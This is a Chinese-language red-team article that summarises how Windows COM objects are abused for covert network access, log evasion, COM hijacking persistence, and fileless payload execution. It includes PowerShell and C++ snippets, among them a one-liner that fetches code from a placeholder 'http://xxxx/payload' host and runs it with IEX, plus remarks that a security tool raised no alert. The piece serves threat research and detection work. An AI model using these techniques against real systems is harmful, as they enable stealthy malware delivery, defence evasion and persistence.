TOD赤橙黄绿青蓝紫队系列:COM之恶

2019 年 7 月 19 日 FreeBuf

0x00 前言

渗透测试人员、红队以及恶意软件都在攻击中使用COM对象,遂参考多方资料对COM的恶意应用作一个小总结。

“微软组件对象模型(Component Object Model,COM)是平台无关、分布式、面向对象的一种系统,可以用来创建可交互的二进制软件组件”。COM是微软OLE(复合文档)、ActiveX(互联网支持组件)以及其他组件的技术基础。

每个COM对象都对应于唯一的二进制标识符,这些全局唯一标识符为128比特(16字节),通常被称为GUID。当GUID用来标识某个COM对象时,就成为CLSID(类标识符)。某些CLSID还包含可读的文本,即ProgID

0x01 COM 用于恶意软件中访问网络

APT29曾使用InternetExplorer.Application COM Object 来访问 URL 和获取图像

COM可用于打开Internet Explorer来访问网络。对于恶意工具开发者有如下好处:

1. HTTP通信由用户的iexplore.exe进程执行,而不是由恶意软件本身执行。

2. 没有使用socket等常见网络函数。

如下代码为使用InternetExplorer.Application对象访问网络

  
  
    
if (SUCCEEDED(OleInitialize(NULL))){IWebBrowser2* pBrowser2;HRESULT hr;IDispatch* pHtmlDoc = NULL;CoCreateInstance(CLSID_InternetExplorer, NULL, CLSCTX_LOCAL_SERVER,IID_IWebBrowser2, (void**)&pBrowser2);if (pBrowser2){VARIANT vEmpty;VariantInit(&vEmpty);BSTR bstrURL = SysAllocString(L”http://www. baidu. com”);HRESULT hr = pBrowser2->Navigate(bstrURL, &vEmpty, &vEmpty,&vEmpty, &vEmpty);if (SUCCEEDED(hr)){hr = pBrowser2->get_Document(&pHtmlDoc);}else{pBrowser2->Quit();}SysFreeString(bstrURL);pBrowser2->Release();}OleUninitialize();}

逆向分析时:

根据CoCreateInstance找到clsid,

通过clsid可以看到progid为IE:

0x02 COM 用于一定程度隐藏网络行为日志

通过InternetExplorer.Application对象访问网络

使用如下的powershell命令访问http网络:

  
  
    
$ieObject= New-Object -ComObject 'InternetExplorer.Application'$ieObject.Visible= $true$ieObject.Navigate('http://www.baidu.com')

通过对sysmon日志分析可以发现:

有powershell启动日志,有IE启动日志,但是IE的启动日志与powershell无关

使用如下的powershell命令直接访问网络下载文件

$client = new-object System.Net.WebClient$client.DownString('1.1.1.1/a')
则通过sysmon日志可以看到ID 3 事件记录了powershell发生了可疑网络行为:

0x03 COM hijack 用于防御逃逸和持久化

ATT&CK模型中T1122项目对此有详细描述

APT28曾使用此技术。

HKCR key是HKCU和HKLM的虚拟表示。其中主机全局设置(适用于所有用户)存储在HKLM中,单个用户的设置存储在HKCR中。

当从HKCR读取key值时,首先从HKCU\Software\Classes\clsid读取key值,如果不存在,则从HKLM读取key值.同时中低权限进程无法修改HKLM,但可以修改HKCU.因此所谓COM hijack就是修改HKCU中的xxxx\InprocServer32中的值。公开报告中发现的恶意样本劫持过的COM

  
  
    
{BCDE0395-E52F-467C-8E3D-C4579291692E}, MMDeviceEnumerator.{d9144dcd-e998-4eca-ab6a-dcd83ccba16d}\InprocServer32EhStorShell.dll{08244ee6-92f0-47f2-9fc9-929baa2e7235}\InprocServer32 ntshrui.dll.{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}: CAccPropServicesClass.

尝试修改了下对应注册表进行 com hijack, 在测试时,某安全工具无告警。

0x04 无文件下载及执行

F5078F35-C551-11D3-89B9-0000F81FE221}这个COM对象(Msxml2.XMLHTTP.3.0),可以用来下载任意代码并执行,无需将payload写入磁盘,也不会触发基于System.Net.WebClient的常用检测规。

使用如下命令:

  
  
    
$o = [activator]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221")); $o.Open("GET", "http://xxxx/payload", $False); $o.Send(); IEX $o.responseText;

在测试时,某安全工具无告警:

Sysmon日志对powershell的网络行为有记录,但对执行内容无记录:

参考文章

https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects-part-two.html

https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html

https://attack.mitre.org/wiki/Technique/T1122

*本文作者:kczwa1,本文属 FreeBuf 原创奖励计划,未经许可禁止转载

精彩推荐


登录查看更多
0

相关内容

标识符(identifier)是指用来标识某个实体的一个符号,在不同的应用环境下有不同的含义。在计算机编程语言中,标识符是用户编程时使用的名字,用于给变量、常量、函数、语句块等命名,以建立起名称与使用之间的关系。标识符通常由字母和数字以及其它字符构成。
【ICML2020-哈佛】深度语言表示中可分流形
专知会员服务
13+阅读 · 2020年6月2日
【实用书】Python技术手册,第三版767页pdf
专知会员服务
238+阅读 · 2020年5月21日
【实用书】Python爬虫Web抓取数据,第二版,306页pdf
专知会员服务
122+阅读 · 2020年5月10日
【ICLR2020-哥伦比亚大学】多关系图神经网络CompGCN
专知会员服务
50+阅读 · 2020年4月2日
【干货】大数据入门指南:Hadoop、Hive、Spark、 Storm等
专知会员服务
96+阅读 · 2019年12月4日
【课程】浙大陈华钧教授《知识图谱导论》课程系列PPT
专知会员服务
174+阅读 · 2019年10月29日
MIT新书《强化学习与最优控制》
专知会员服务
279+阅读 · 2019年10月9日
【初学者系列】tensorboard学习笔记
专知
7+阅读 · 2019年10月4日
重点实验室系列报告-ClickHouse Introduction and Deep Dive
中国科学院网络数据重点实验室
9+阅读 · 2019年6月5日
ISeeYou一款强大的社工工具
黑白之道
32+阅读 · 2019年5月17日
GitHub 热门:各大网站的 Python 爬虫登录汇总
机器学习算法与Python学习
9+阅读 · 2019年3月20日
抖音爬虫
专知
3+阅读 · 2019年2月11日
Python NLP入门教程
七月在线实验室
7+阅读 · 2018年6月5日
【代码分享】系列之朴素贝叶斯(github clone)
机器学习算法与Python学习
6+阅读 · 2018年3月24日
GitHub上12月份最热门开源项目
程序猿
4+阅读 · 2018年1月9日
Arxiv
15+阅读 · 2020年2月6日
A Comprehensive Survey on Graph Neural Networks
Arxiv
13+阅读 · 2019年3月10日
Knowledge Based Machine Reading Comprehension
Arxiv
4+阅读 · 2018年9月12日
Feature Selection Library (MATLAB Toolbox)
Arxiv
7+阅读 · 2018年8月6日
Arxiv
5+阅读 · 2018年5月1日
VIP会员
相关资讯
【初学者系列】tensorboard学习笔记
专知
7+阅读 · 2019年10月4日
重点实验室系列报告-ClickHouse Introduction and Deep Dive
中国科学院网络数据重点实验室
9+阅读 · 2019年6月5日
ISeeYou一款强大的社工工具
黑白之道
32+阅读 · 2019年5月17日
GitHub 热门:各大网站的 Python 爬虫登录汇总
机器学习算法与Python学习
9+阅读 · 2019年3月20日
抖音爬虫
专知
3+阅读 · 2019年2月11日
Python NLP入门教程
七月在线实验室
7+阅读 · 2018年6月5日
【代码分享】系列之朴素贝叶斯(github clone)
机器学习算法与Python学习
6+阅读 · 2018年3月24日
GitHub上12月份最热门开源项目
程序猿
4+阅读 · 2018年1月9日
相关论文
Top
微信扫码咨询专知VIP会员